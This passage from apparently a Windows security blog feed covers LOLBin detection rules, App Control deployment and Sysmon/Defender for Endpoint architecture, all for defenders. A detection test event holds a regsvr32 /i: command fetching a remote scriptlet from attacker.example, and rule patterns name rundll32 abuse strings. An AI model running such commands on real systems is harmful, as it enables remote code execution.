  { name: &apos;Rundll32 COM&apos;,           parent: /(cmd|powershell|wscript|cscript|winword|excel)\.exe$/i, child: /rundll32\.exe$/i, args: /(javascript:|url\.dll,fileprotocolhandler|shell32\.dll,shellexec_rundll)/i }
];&lt;/p&gt;
&lt;p&gt;function evaluate(event) {
  const matches = [];
  for (const r of RULES) {
    if (r.parent.test(event.parentImage || &apos;&apos;) &amp;amp;&amp;amp;
        r.child.test(event.image || &apos;&apos;) &amp;amp;&amp;amp;
        r.args.test(event.commandLine || &apos;&apos;)) {
      matches.push(r.name);
    }
  }
  return matches;
}&lt;/p&gt;
&lt;p&gt;const event = {
  parentImage: &apos;C:\\Windows\\System32\\cmd.exe&apos;,
  image:       &apos;C:\\Windows\\System32\\regsvr32.exe&apos;,
  commandLine: &apos;regsvr32 /s /n /u /i:http\u003a//attacker.example/x.sct scrobj.dll&apos;
};
console.log(&apos;Matched rules:&apos;, evaluate(event));
`}&lt;/p&gt;

For organizations operating under FedRAMP High or CMMC L3, the App Control for Business deployment is not optional. The controls that map to NIST SP 800-53 Rev. 5 controls AC-3 (access enforcement) and CM-7 (least functionality) [@nist-800-53-r5] effectively require a kernel-enforced application allow-list, and the Recommended Block Rules deny list is the published Microsoft baseline. The deployment work in step 1 of the playbook is therefore a compliance prerequisite as well as a security control.

After deploying an App Control policy in audit mode, validate that the policy is loaded with `CiTool.exe -lp` on Windows 11 22H2+. Audit-mode block events appear in the *Microsoft-Windows-CodeIntegrity/Operational* event log as Event ID 3076 (would-block) and *AppLocker/MSI and Script* event log as Event ID 8003 (audit). Run a known-benign workflow for two weeks and review the would-block events before flipping the policy to enforce.
&lt;p&gt;The playbook covers the controls Microsoft and the community ship today. The final pass is the set of misconceptions that survive even after the playbook: the FAQ.&lt;/p&gt;
&lt;h2&gt;12. Frequently Asked Questions and Closing&lt;/h2&gt;
&lt;p&gt;The structural argument leaves a small number of recurring questions that even an experienced Windows defender asks the first time they read the LOLBAS catalog end to end. The seven below are the ones that matter most.&lt;/p&gt;

No. An Authenticode signature is immutable per signed file: once a file is signed and shipped, the signature travels with the bytes forever. Revocation does not work by removing the signature. It works by adding the binary to a deny list that the loader checks alongside the signature. That deny list is the App Control Recommended Block Rules XML [@ms-bypass-rules]. There is no global mechanism by which Microsoft can retroactively &quot;unsign&quot; a binary that already exists on customer disks, because the binary&apos;s bytes have not changed.

Because PowerShell Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), and module logging (Event ID 4103) [@ms-ps-logging] together constitute Microsoft&apos;s specific answer for PowerShell. The strategy is *instrument deeply, do not deny*. For the rest of the LOLBin catalog the strategy is *deny when feasible, detect otherwise*. The choice is made one binary at a time; no published Microsoft criterion explains when each applies. PowerShell is the only Microsoft-shipped example of the *instrument* strategy applied at full depth.

Partially, and only on eligible endpoints (clean-installed Windows 11 22H2 or later, with sufficient device telemetry to keep SAC in *enforce* mode). SAC explicitly delegates LOLBin handling to the App Control Recommended Block Rules deny list -- the Microsoft Learn SAC overview page contains the verbatim sentence pointing administrators at *Application Control for Windows* for the LOLBin list [@ms-sac-overview]. SAC&apos;s enforcement model is reputation-and-AI, not deny-list. It silently disables itself on insufficient signal. Until recently the only fix was to reinstall Windows; a recent Windows cumulative update added an in-place re-enable path inside the Windows Security app [@ms-sac-support], but the silent disable itself remains (see Section 10).

Yes. As of May 26, 2026, the repository is receiving regular pull requests, has 8,567 stars and 1,135 forks per the GitHub API [@lolbas-org-api], and the editorial maintainers (Moe, Bayne, Richard, Spehn, Somerville, Beukema, Hernandez) are actively reviewing submissions. The catalog has grown from 130 binaries at the original 2018 founding to 207 in the May 2026 enumeration. New entries arrive every few weeks.

Yes. The LOLDrivers project at `loldrivers.io` [@loldrivers] catalogs vulnerable signed kernel drivers -- the driver-class analogue of LOLBAS. Microsoft&apos;s own Vulnerable Driver Blocklist is enabled by default when HVCI, Smart App Control, or S mode is active [@ms-driver-blocklist]. GTFOBins at `gtfobins.github.io` [@gtfobins] is the Unix analogue, cataloging vendor-shipped utilities on Linux and BSD with attacker-useful side effects. The three projects share the same conceptual move applied to different trust surfaces.

No. The LOLBAS README itself attributes the project&apos;s foundational talk to Oddvar Moe&apos;s *#LOLBins -- Nothing to LOL about!* at DerbyCon 8 in October 2018 [@youtube-moe-lolbins] [@derbycon8-moe]. The 2017 BlueHat IL talk by Matt Graeber and Casey Smith [@bluehat-il-mirror] is one earlier intellectual ancestor, and the canonical *misplaced trust* framing was named the following year in Matt Graeber and Lee Christensen&apos;s *Subverting Trust in Windows* at TROOPERS 2018 [@specterops-subverting-trust]; both predate the LOLBAS catalog and neither is the project&apos;s founding event. Several secondary sources conflate the talks; the primary attribution chain is the LOLBAS README.

Merge the App Control Recommended Block Rules XML into a managed App Control base policy and roll it out in audit mode for two to four weeks before flipping to enforce [@ms-bypass-rules]. The audit-mode telemetry surfaces the legitimate-but-rare workflows that would break under enforce; the enforce-mode policy then denies roughly 40 of the highest-impact LOLBins by default. Given the Cybereason Q3 2025 finding that 17 percent of investigations involved LOLBins [@cybereason-q3-2025], the effort pays for itself within the first quarter after deployment.
&lt;h3&gt;Closing&lt;/h3&gt;
&lt;p&gt;Every Windows binary that ships with a Microsoft signature is a LOLBin candidate, because the &lt;em&gt;signature&lt;/em&gt; trust axis is orthogonal to the &lt;em&gt;behavior&lt;/em&gt; trust axis. That gap was designed into Authenticode in 1996, inherited by AppLocker in 2009, made unignorable by Casey Smith&apos;s Squiblydoo in 2016, catalogued by Oddvar Moe and the LOLBAS maintainers starting in 2018, and partially fenced off by Microsoft&apos;s App Control Recommended Block Rules between 2017 and 2024. The class will be there when the next reader of this article shows up. Closing it would require either rebuilding the Windows system-administration model or attaching behavioral capability descriptions to every signed Microsoft binary on disk. Microsoft has published no roadmap for either, and the installed base could not absorb either without breaking decades of administrative tooling.&lt;/p&gt;
&lt;p&gt;The honest defender&apos;s posture is therefore not to ask &lt;em&gt;when will Microsoft fix this?&lt;/em&gt; but &lt;em&gt;how thin can the layered SOTA make the residual?&lt;/em&gt;. The answer in 2026 is &lt;em&gt;thinner than it was in 2016, but the gap between LOLBAS and the Recommended Block Rules (Section 8) is not going to close&lt;/em&gt;. Subscribe to the LOLBAS repository [@lolbas-github]. Bookmark the Recommended Block Rules page [@ms-bypass-rules]. Treat the next entry the catalog ships as a detection-engineering task to schedule, not a Microsoft bug to wait on.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;living-off-the-land-on-windows&quot; keyTerms={[
  { term: &quot;LOLBin&quot;, definition: &quot;Living-Off-the-Land Binary: a Microsoft-signed Windows executable with attacker-useful primitives, catalogued in LOLBAS.&quot; },
  { term: &quot;Authenticode&quot;, definition: &quot;Microsoft&apos;s 1996 code-signing scheme. Answers who signed a binary; does not characterize runtime behavior.&quot; },
  { term: &quot;AppLocker&quot;, definition: &quot;Windows 7 application-allow-list with publisher/path/hash rules. Default rule admits Microsoft-signed binaries; superseded by App Control for Business.&quot; },
  { term: &quot;App Control for Business&quot;, definition: &quot;Kernel-mode application-control system formerly known as WDAC. Ships with Windows 10 1709+.&quot; },
  { term: &quot;Smart App Control&quot;, definition: &quot;Windows 11 22H2+ reputation-based application gate. Silently disables itself on insufficient signal; defers LOLBins to the App Control deny list.&quot; },
  { term: &quot;Recommended Block Rules&quot;, definition: &quot;Microsoft-curated XML deny list of ~40 binaries shipped via Microsoft Learn. The shipping deny-list mechanism for individual LOLBins.&quot; },
  { term: &quot;Squiblydoo&quot;, definition: &quot;Casey Smith&apos;s April 19, 2016 regsvr32 abuse using the /i:URL switch to fetch and execute a remote .sct scriptlet. Tracked as MITRE T1218.010.&quot; },
  { term: &quot;AMSI&quot;, definition: &quot;Antimalware Scan Interface (Windows 10 1507+). In-process script-content inspection for PowerShell, JScript, VBScript, and .NET.&quot; },
  { term: &quot;Constrained Language Mode&quot;, definition: &quot;A PowerShell execution mode that restricts the language surface to a safe subset. Enforced automatically when App Control is in enforce on the script file&apos;s location.&quot; },
  { term: &quot;HVCI&quot;, definition: &quot;Hypervisor-protected Code Integrity. Hardware-virtualization-enforced kernel CI; activates the Microsoft Vulnerable Driver Blocklist by default.&quot; },
  { term: &quot;MITRE T1218&quot;, definition: &quot;System Binary Proxy Execution. The MITRE ATT&amp;amp;CK technique node for the LOLBin family; sub-techniques include .004 InstallUtil, .005 Mshta, .010 Regsvr32, .011 Rundll32.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows-security</category><category>lolbins</category><category>app-control</category><category>authenticode</category><category>detection-engineering</category><category>wdac</category><category>smart-app-control</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>From `cmd.exe` to a Kusto Row in 90 Seconds: How Sysmon and Defender for Endpoint Actually Work</title><link>https://paragmali.com/blog/from-cmdexe-to-a-kusto-row-in-90-seconds-how-sysmon-and-defe/</link><guid isPermaLink="true">https://paragmali.com/blog/from-cmdexe-to-a-kusto-row-in-90-seconds-how-sysmon-and-defe/</guid><description>The seven-layer production EDR pipeline -- kernel callback, ETW publisher, MsSense.exe, SenseCncProxy, Kusto, KQL -- traced end to end for Sysmon and Defender for Endpoint.</description><pubDate>Wed, 13 May 2026 00:00:00 GMT</pubDate><content:encoded>
Modern Windows EDR is a seven-layer production pipeline. A kernel callback fires, a user-mode aggregator labels the event, an ETW publisher (Sysmon) or a TLS-pinned cloud forwarder (`SenseCncProxy.exe`) ships it, and within seconds the event surfaces as a row in a Kusto table that the analyst queries with KQL. Sysmon (Russinovich and Garnier, August 2014) is the configurable kernel-callback-then-publish reference: twenty-nine event IDs, three canonical configurations (SwiftOnSecurity, the post-rename `NextronSystems/sysmon-config`, and `olafhartong/sysmon-modular`), Antimalware-PPL hardening since v15 in June 2023. Microsoft Defender for Endpoint (Windows Defender ATP preview March 2016, MDE rename September 2020, Microsoft Defender XDR portal late 2023) is the commercial cloud-correlated counterpart: `MsSense.exe` runs as Antimalware-PPL, shares the `WdFilter.sys` / `WdBoot.sys` / `WdNisDrv.sys` Defender Antivirus kernel surface, and lands events in six `Device*` Advanced Hunting tables with 30-day in-portal retention, extended via the Microsoft Sentinel Defender XDR connector. For MDE-licensed shops with a detection-engineering team, the community pattern is Hartong&apos;s `sysmonconfig-mde-augment.xml` -- Sysmon as a complement, not a duplicate. The pipeline&apos;s four structural ceilings (pre-driver-load horizon, observation-vs-enforcement latency, MDE schema truncation, kernel-mode adversary primitive) are documented and unclosed; FalconForce&apos;s 2022 CVE-2022-23278 disclosure and InfoGuard Labs&apos; 2025 certificate-pinning bypass bookend an adversarial arc the field has not yet ended.
&lt;h2&gt;1. From &lt;code&gt;cmd.exe&lt;/code&gt; to a Kusto Row in Ninety Seconds&lt;/h2&gt;
&lt;p&gt;At 9:14 a.m. on a Monday, a SOC analyst named Maya watches a &lt;code&gt;DeviceProcessEvents&lt;/code&gt; row light up in the Advanced Hunting console of Microsoft Defender XDR. The &lt;code&gt;FileName&lt;/code&gt; is &lt;code&gt;powershell.exe&lt;/code&gt;. The &lt;code&gt;ProcessCommandLine&lt;/code&gt; reads &lt;code&gt;powershell.exe -enc JABzAD0A...&lt;/code&gt;. The &lt;code&gt;InitiatingProcessFileName&lt;/code&gt; is &lt;code&gt;WINWORD.EXE&lt;/code&gt;. The &lt;code&gt;Timestamp&lt;/code&gt; is three seconds ago [@deviceprocessevents-table].&lt;/p&gt;
&lt;p&gt;By 9:15:44 Maya has pivoted to &lt;code&gt;DeviceNetworkEvents&lt;/code&gt;, found an outbound connection from the same &lt;code&gt;InitiatingProcessId&lt;/code&gt; to a previously-unknown IP on TCP/443, clicked &lt;strong&gt;Isolate device&lt;/strong&gt; in the device page, and the endpoint is off the network. Ninety seconds, end to end. Email triage of the original message; a quarantine on the inbound &lt;code&gt;.docm&lt;/code&gt;; and -- by the time the user&apos;s coffee has cooled -- a brand-new IOC in the tenant&apos;s custom indicator list.&lt;/p&gt;
&lt;p&gt;This article is the rewind. We walk Maya&apos;s ninety seconds backwards through the seven pipeline layers that made the triage possible -- starting in ring zero, ending in the KQL query you can copy into your own tenant -- and along the way we answer the question every SOC manager has asked at least once: do we deploy Sysmon alongside Defender for Endpoint, or trust Defender alone?&lt;/p&gt;
&lt;h3&gt;The seven layers&lt;/h3&gt;
&lt;p&gt;Maya is looking at a single Kusto row. Behind that row sit seven distinct software components, each of which can fail independently:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A &lt;strong&gt;kernel callback&lt;/strong&gt; fired inside the &lt;code&gt;nt!PspInsertProcess&lt;/code&gt; path on the target machine the instant &lt;code&gt;WINWORD.EXE&lt;/code&gt; called &lt;code&gt;CreateProcessW&lt;/code&gt; to spawn &lt;code&gt;powershell.exe&lt;/code&gt;. The callback handler lives inside &lt;code&gt;WdFilter.sys&lt;/code&gt; (Defender Antivirus&apos;s filter driver) and inside &lt;code&gt;SysmonDrv.sys&lt;/code&gt; if Sysmon is also installed [@pssetcreateex-msdn].&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;user-mode aggregator&lt;/strong&gt; -- &lt;code&gt;MsSense.exe&lt;/code&gt; for Defender for Endpoint, or &lt;code&gt;Sysmon.exe&lt;/code&gt; (the service) for Sysmon -- received the structured callback notification, enriched it with parent-process state, file hashes, signature information, and identity data, and decided whether the event was worth shipping [@mde-ms-learn][@sysmon-ms-learn].&lt;/li&gt;
&lt;li&gt;An &lt;strong&gt;&lt;a href=&quot;https://paragmali.com/blog/etw-how-windows-2000s-performance-hack-became-the-edr-substr/&quot; rel=&quot;noopener&quot;&gt;ETW publisher&lt;/a&gt;&lt;/strong&gt; -- in Sysmon&apos;s case the &lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt; provider -- emitted the event to the operating system&apos;s tracing bus, and the Sysmon service wrote it to the &lt;code&gt;Microsoft/Windows/Sysmon/Operational&lt;/code&gt; event log [@sysmon-ms-learn].&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;cloud forwarder&lt;/strong&gt; -- &lt;code&gt;SenseCncProxy.exe&lt;/code&gt; -- ran the Defender payload through TLS with certificate pinning out to the regional Defender XDR ingest endpoint [@falconforce-2022].&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;cloud sensor pipeline&lt;/strong&gt; in Microsoft&apos;s regional datacenter (the US for US tenants, the EU for European tenants, the UK for UK tenants) wrote the event into the Advanced Hunting Kusto cluster [@advanced-hunting-overview][@ms-server-endpoints-learn].&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;Kusto table&lt;/strong&gt; -- &lt;code&gt;DeviceProcessEvents&lt;/code&gt; -- became queryable within seconds, joined logically across roughly fifty columns to its siblings (&lt;code&gt;DeviceNetworkEvents&lt;/code&gt;, &lt;code&gt;DeviceFileEvents&lt;/code&gt;, &lt;code&gt;DeviceRegistryEvents&lt;/code&gt;, &lt;code&gt;DeviceImageLoadEvents&lt;/code&gt;, &lt;code&gt;DeviceEvents&lt;/code&gt;) [@deviceprocessevents-table].&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;KQL query&lt;/strong&gt; Maya wrote, or one of Microsoft&apos;s built-in detection rules, joined the process row to the network row on &lt;code&gt;(DeviceId, InitiatingProcessId)&lt;/code&gt;, surfaced the C2 callback inside a ninety-second window, and put the device-isolation button on her screen [@advanced-hunting-overview][@sentinel-xdr-connector].&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Each of these seven layers is independently failure-prone. Operating an EDR well -- which is what this article is about -- means knowing which layer produced which artifact, which layer can be tampered with, and which layer is the right one to fix when the row does not arrive.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Modern Windows EDR is a seven-layer production pipeline: kernel callback, user-mode aggregator, ETW publisher (or cloud forwarder), TLS-pinned cloud transport, regional Kusto ingest, table write, KQL read. Sysmon and Microsoft Defender for Endpoint are two implementations of the same seven layers, with different design philosophies at every layer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Why two products, not one&lt;/h3&gt;
&lt;p&gt;Sysmon and Defender for Endpoint were not designed as a pair. They evolved as competing answers to the same problem -- &lt;em&gt;when prevention fails, what evidence do you give the responder?&lt;/em&gt; -- on the same operating system, with the same kernel-callback APIs underneath, and with the same Windows Event Tracing bus as the transport layer in the middle. They converged on a shared trust model only in 2023, when both products began running as protected processes [@sysmon-ms-learn][@falconforce-2022].&lt;/p&gt;
&lt;p&gt;That convergence is not coincidence. It is the consequence of a decade of architectural pressure pushing both products toward the same answer: collect at the Microsoft-sanctioned kernel-callback boundary, normalize in user mode, ship over a tamper-resistant transport, and surface to the analyst as a queryable column family. The differences are in the configuration grammar, the cloud-side enrichment, and the trust boundary at the publisher edge. The seven layers are the same. To see why, we have to start in 2014, when Sysmon shipped with three event types.&lt;/p&gt;
&lt;h2&gt;2. Twelve Years, Two Arcs, One Convergence&lt;/h2&gt;
&lt;p&gt;Anton Chuvakin, then a research VP at Gartner, named the category in July 2013. His blog post -- preserved on his personal site after Gartner deleted its analyst blogs in late 2023 -- coined the term &lt;em&gt;Endpoint Threat Detection and Response&lt;/em&gt; (ETDR) and defined it as &quot;tools primarily focused on detecting and investigating suspicious activities (and traces of such) other problems on hosts/endpoints&quot; [@chuvakin-2013][@wikipedia-edr]. The &quot;T&quot; dropped out of the acronym within eighteen months and the field has been called EDR ever since.&lt;/p&gt;
&lt;p&gt;Chuvakin&apos;s question -- &lt;em&gt;what evidence do you give the responder when prevention fails?&lt;/em&gt; -- got two different answers from inside Microsoft over the next decade. One was free, configurable, and ran on every Windows machine the operator wanted to run it on. The other was commercial, cloud-correlated, and only worked if you paid for it. Both started in the same place: at the supported kernel-callback boundary that Microsoft had been steadily building out since Windows XP.&lt;/p&gt;
&lt;h3&gt;The Sysmon arc: August 2014 to March 2026&lt;/h3&gt;
&lt;p&gt;Mark Russinovich gave session HTA-T07R at RSA US 2014 -- &lt;em&gt;Malware Hunting with the Sysinternals Tools&lt;/em&gt; -- and the methodology he taught (process-tree pivoting, autoruns enumeration, real-time monitoring of file and registry writes) had a natural conclusion: somebody should ship a Sysinternals tool that did all of that, continuously, into the Windows event log [@russinovich-rsa-2014]. The tool shipped in August 2014, written by Russinovich and Thomas Garnier, also of Microsoft. ZDNet&apos;s contemporaneous coverage captured the introduction: &quot;Sysmon, written by Russinovich and Thomas Garnier, also of Microsoft, is the 73rd tool in the set... Note: For public release, Sysmon has been reset to version 1.00&quot; [@zdnet-sysmon-2014]. The launch SKU had three event types: process create (EID 1), file-create-time change (EID 2), and network connect (EID 3).&lt;/p&gt;
&lt;p&gt;The design philosophy is captured in a single sentence Microsoft Learn still prints on the Sysmon download page -- a sentence whose framing of Sysmon as a publisher that refuses to do detection and refuses to hide is the entire foundation of the SwiftOnSecurity-NextronSystems-Hartong configuration lineage that §5 unpacks; the verbatim quote lands as the §4 PullQuote [@sysmon-ms-learn]. Every detection-engineering corpus in the Windows field -- SwiftOnSecurity&apos;s config, Florian Roth&apos;s fork, Olaf Hartong&apos;s modular system, the SigmaHQ rule base, the Threat Hunter Playbook -- is downstream of that one design choice.&lt;/p&gt;
&lt;p&gt;The version history reads as capability accretion, not architectural change. Sysmon v6 in February 2017 added registry events (EIDs 12-14), process-access (10), file-create (11), pipe events (17-18), file-create-stream-hash (15), and the &lt;em&gt;ServiceConfigurationChange&lt;/em&gt; (16) audit of Sysmon&apos;s own settings [@sysinternals-blog-v6]. (EID 7 ImageLoad arrived earlier, in Sysmon v2.0 -- the §4 catalogue places it correctly.) Sysmon v10 in June 2019 added DNS-query observation via ETW &lt;em&gt;consumption&lt;/em&gt; of &lt;code&gt;Microsoft-Windows-DNS-Client&lt;/code&gt;; the v10 release date is recorded in the community-curated &lt;em&gt;Sysmon Version History&lt;/em&gt; repository, explicitly marked &quot;Outdated&quot; past v11.10 because its maintainer stopped updating it [@sysmon-version-history]. v13 added ClipboardChange and ProcessTampering. v14 in August 2022 added the first &lt;em&gt;preventive&lt;/em&gt; event -- FileBlockExecutable (EID 27) -- making Sysmon something subtly more than a publisher [@diversenok-2022][@hartong-sysmon14-medium].&lt;/p&gt;
&lt;p&gt;The architectural inflection landed in &lt;strong&gt;June 2023 with Sysmon v15&lt;/strong&gt;, when the Sysmon service began running as a protected process. BleepingComputer&apos;s contemporaneous coverage notes that the service ran as &lt;code&gt;PROTECTED_ANTIMALWARE_LIGHT&lt;/code&gt; and the schema bumped to 4.90 with the new &lt;code&gt;FileExecutableDetected&lt;/code&gt; event ID 29 [@bleepingcomputer-sysmon15][@hartong-sysmon15-medium]. The Microsoft Learn page now states the change verbatim: &quot;&lt;em&gt;The service runs as a protected process, thus disallowing a wide range of user mode interactions&lt;/em&gt;&quot; [@sysmon-ms-learn]. The latest published release at the time of writing is &lt;strong&gt;v15.2 on March 26, 2026&lt;/strong&gt; (per the Sysmon download page&apos;s &lt;em&gt;Published&lt;/em&gt; by-line), with twenty-nine event types plus EID 255 (Error) [@sysmon-ms-learn].&lt;/p&gt;
&lt;h3&gt;The MDE arc: March 2016 to late 2023&lt;/h3&gt;
&lt;p&gt;Microsoft announced &lt;strong&gt;Windows Defender Advanced Threat Protection&lt;/strong&gt; in a Windows Experience blog post on March 1, 2016 -- &lt;em&gt;&quot;Today, we announce the next step in our efforts to protect our enterprise customers, with a new service, Windows Defender Advanced Threat Protection&quot;&lt;/em&gt; [@ms-blog-atp-mar2016]. The service was framed as a cloud-correlated detection-and-investigation layer on top of the Windows 10 sensor, &quot;informed by anonymous information from over 1 billion Windows devices&quot; [@ms-blog-atp-mar2016]. The 2016 product was Windows-only, in-portal, and oriented to detection and investigation only.&lt;/p&gt;
&lt;p&gt;The Fall Creators Update in October 2017 broadened the product into prevention: &quot;&lt;em&gt;The Windows Fall Creators Update represents a new chapter in our product evolution as we offer a set of new prevention capabilities designed to stop attacks as they happen and before they have impact. This means that our service will expand beyond detection, investigation, and response, and will now allow companies to use the full power of the Windows security stack for preventative protection&lt;/em&gt;&quot; [@ms-blog-atp-jun2017]. Attack Surface Reduction rules, Exploit Guard, and Application Guard joined the platform. So did the &lt;strong&gt;Advanced Hunting&lt;/strong&gt; query surface in 2018 -- KQL on the same &lt;code&gt;Device*&lt;/code&gt; tables Maya uses in §1.&lt;/p&gt;
&lt;p&gt;The cross-platform reach arrived in March 2019 with macOS support (initially as Microsoft Defender ATP) and was extended to networked Linux and macOS discovery by February 2021 [@securityweek-defender-macos][@bleepingcomputer-defender-linux]. The product was renamed twice. The most-cited rename came at &lt;strong&gt;Microsoft Ignite 2020 on September 22, 2020&lt;/strong&gt;, when the Microsoft Security blog announced the product family rebrand: &quot;&lt;em&gt;Microsoft Defender for Endpoint (previously Microsoft Defender Advanced Threat Protection)&lt;/em&gt;&quot; [@ms-unified-siem-xdr-2020]. The same post renamed Microsoft Threat Protection to Microsoft 365 Defender, O365 ATP to Microsoft Defender for Office 365, and Azure ATP to Microsoft Defender for Identity. The second rename was at &lt;strong&gt;Microsoft Ignite 2023 in November 2023&lt;/strong&gt;, when Microsoft 365 Defender became &lt;strong&gt;Microsoft Defender XDR&lt;/strong&gt;, announced as part of the broader product rebrand at Ignite 2023 [@defender-xdr-ms-learn][@ms-ignite-2023-blog].The Ignite 2023 rebrand did not change the KQL substrate, the &lt;code&gt;Device*&lt;/code&gt; schema, or the Sentinel connector contract. It is a marketing relabel on top of a stable cloud surface. Detection engineering teams kept writing queries against &lt;code&gt;DeviceProcessEvents&lt;/code&gt; exactly as they did the day before the rename.&lt;/p&gt;
&lt;h3&gt;The configuration-lineage arc&lt;/h3&gt;
&lt;p&gt;A third arc ran in parallel with the two product arcs: the community-maintained Sysmon configurations that turned Sysmon from a kernel-callback publisher into a deployment-ready detection sensor.&lt;/p&gt;
&lt;p&gt;The historical root is &lt;strong&gt;SwiftOnSecurity&apos;s &lt;code&gt;sysmon-config&lt;/code&gt; repository&lt;/strong&gt;, created on February 1, 2017 per the GitHub REST API [@github-swiftonsecurity-meta]. The README&apos;s design intent is succinct: &quot;&lt;em&gt;This is a Microsoft Sysinternals Sysmon configuration file template with default high-quality event tracing&lt;/em&gt;&quot; [@github-swiftonsecurity]. The repository remains the most-cited Sysmon-configuration starting point in the SOC industry.&lt;/p&gt;
&lt;p&gt;Florian Roth, working under the handle &lt;code&gt;@Neo23x0&lt;/code&gt;, forked SwiftOnSecurity&apos;s config in January 2018 (the exact creation date is now obscured by a 2021 rename -- see the sidenote below). The fork added blocking-rule support for Sysmon v14, an actively-maintained set of community pull-request merges, and the &lt;em&gt;export-block.xml&lt;/em&gt; variant that ships the v14+ FileBlockExecutable rules. The README states the lineage verbatim: &quot;&lt;em&gt;This is a forked and modified version of @SwiftOnSecurity&apos;s sysmon config. ... We merged most of the 30+ open pull requests&lt;/em&gt;&quot; [@github-neo23x0]. The current maintainer roster lists Florian Roth, Tobias Michalski, Christian Burkard, and Nasreddine Bencherchali.&lt;/p&gt;
&lt;p&gt;Olaf Hartong&apos;s &lt;code&gt;sysmon-modular&lt;/code&gt; was created on January 13, 2018 per the GitHub REST API [@github-hartong-meta]. The repository takes a different design approach: instead of one monolithic XML config, Hartong ships a per-EID-and-per-technique module library that compiles down into one of several pre-generated artifacts -- &lt;code&gt;sysmonconfig.xml&lt;/code&gt; (default), &lt;code&gt;sysmonconfig-with-filedelete.xml&lt;/code&gt; (default plus archive), &lt;code&gt;sysmonconfig-excludes-only.xml&lt;/code&gt; (verbose), &lt;code&gt;sysmonconfig-research.xml&lt;/code&gt; (super-verbose, with the warning &quot;&lt;em&gt;really DO NOT USE IN PRODUCTION!&lt;/em&gt;&quot;), and the load-bearing &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; whose entire design intent is to fill the gaps in Defender for Endpoint&apos;s collection surface [@github-hartong-modular].Olaf Hartong and Henri Hambartsumyan, the two FalconForce researchers who reverse-engineered Defender for Endpoint in 2022 and surfaced CVE-2022-23278, also maintain &lt;code&gt;olafhartong/sysmon-modular&lt;/code&gt;. This is the dual identity that makes the &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; config uniquely informed: the same people who learned where MDE&apos;s collection truncates Sysmon&apos;s manifest also published the config that fills those gaps [@falconforce-2022][@github-hartong-modular].&lt;/p&gt;
&lt;p&gt;The Neo23x0 repository was renamed in 2021. The current &lt;code&gt;https://github.com/Neo23x0/sysmon-config&lt;/code&gt; URL HTTP-301s to &lt;code&gt;https://github.com/NextronSystems/sysmon-config&lt;/code&gt;, and the GitHub REST API returns a &lt;code&gt;created_at&lt;/code&gt; of &lt;code&gt;2021-07-24T06:19:41Z&lt;/code&gt; with a &lt;code&gt;parent&lt;/code&gt; field pointing to &lt;code&gt;SwiftOnSecurity/sysmon-config&lt;/code&gt; [@github-nextronsystems-meta]. The content lineage from SwiftOnSecurity is unchanged; only the organizational owner moved from Florian Roth&apos;s personal handle to his employer Nextron Systems.&lt;/p&gt;
&lt;p&gt;By 2023, then, two product arcs and one configuration arc had converged on the same baseline: kernel callbacks (&lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt;, &lt;code&gt;ObRegisterCallbacks&lt;/code&gt;, &lt;code&gt;CmRegisterCallbackEx&lt;/code&gt;, Filter Manager minifilters) on the input side; an Antimalware-PPL protected service on the host; an ETW or TLS-pinned cloud transport in the middle; and KQL on &lt;code&gt;Device*&lt;/code&gt; tables on the reader side. The convergence was structural, not coincidental. To see why both arcs landed in the same place, we have to start at the kernel-callback boundary -- where Sysmon&apos;s input lives.&lt;/p&gt;
&lt;h2&gt;3. Sysmon Architecture: Kernel Collection, ETW Emission, Event Log Persistence&lt;/h2&gt;
&lt;p&gt;If you have ever read that Sysmon is an &quot;ETW-based event source,&quot; you have read something that is half-true. The half that is right is the &lt;em&gt;output&lt;/em&gt; side: Sysmon publishes its events through an ETW provider called &lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt;, and the rest of the system -- including the Windows Event Log service -- subscribes to that provider. The half that is wrong is the &lt;em&gt;input&lt;/em&gt; side. Sysmon does not get most of its raw observations from ETW. It gets them from five kernel-callback families and one Filter Manager minifilter, with two narrow ETW-consumer exceptions (DNS-Client for EID 22; the WMI activity provider for EIDs 19-21).&lt;/p&gt;
&lt;p&gt;This distinction is small enough that most blog posts skip it and big enough that getting it wrong leads to architectural confusion. The split between &lt;em&gt;collection&lt;/em&gt; (how data enters the Sysmon driver) and &lt;em&gt;emission&lt;/em&gt; (how data leaves the Sysmon service) is the first thing to get straight before anything else makes sense.&lt;/p&gt;

The in-kernel, low-overhead, manifest-described tracing infrastructure built into Windows since 2000. Providers publish structured events; controllers start trace sessions and select which providers to enable; consumers receive events live or read them from `.etl` files. Sysmon uses ETW as its *output* bus -- its kernel driver hands events to the user-mode service via a private ETW session -- and as a small input source for the DNS-Client kernel provider (EID 22) and the WMI activity provider (EIDs 19-21).

A Microsoft-sanctioned ring-0 API for observing operating-system events without patching the System Service Descriptor Table. The Windows kernel exposes a small set of named callback APIs -- `PsSetCreateProcessNotifyRoutineEx` for process create and exit, `PsSetLoadImageNotifyRoutine` for image load (with a `SystemModeImage` bit that distinguishes kernel drivers from user-mode DLLs), `PsSetCreateThreadNotifyRoutineEx` for thread creation (with a remote-thread flag), `ObRegisterCallbacks` for handle-rights filtering against `PsProcessType` and `PsThreadType`, `CmRegisterCallbackEx` for registry operations, and the Filter Manager minifilter framework for file-system I/O. A driver registers a function pointer; the kernel invokes it on the corresponding event with the structured context. PatchGuard tolerates kernel callbacks; it does not tolerate SSDT patching [@wikipedia-kpp][@pssetcreateex-msdn][@ms-wdk-kernel-callbacks].

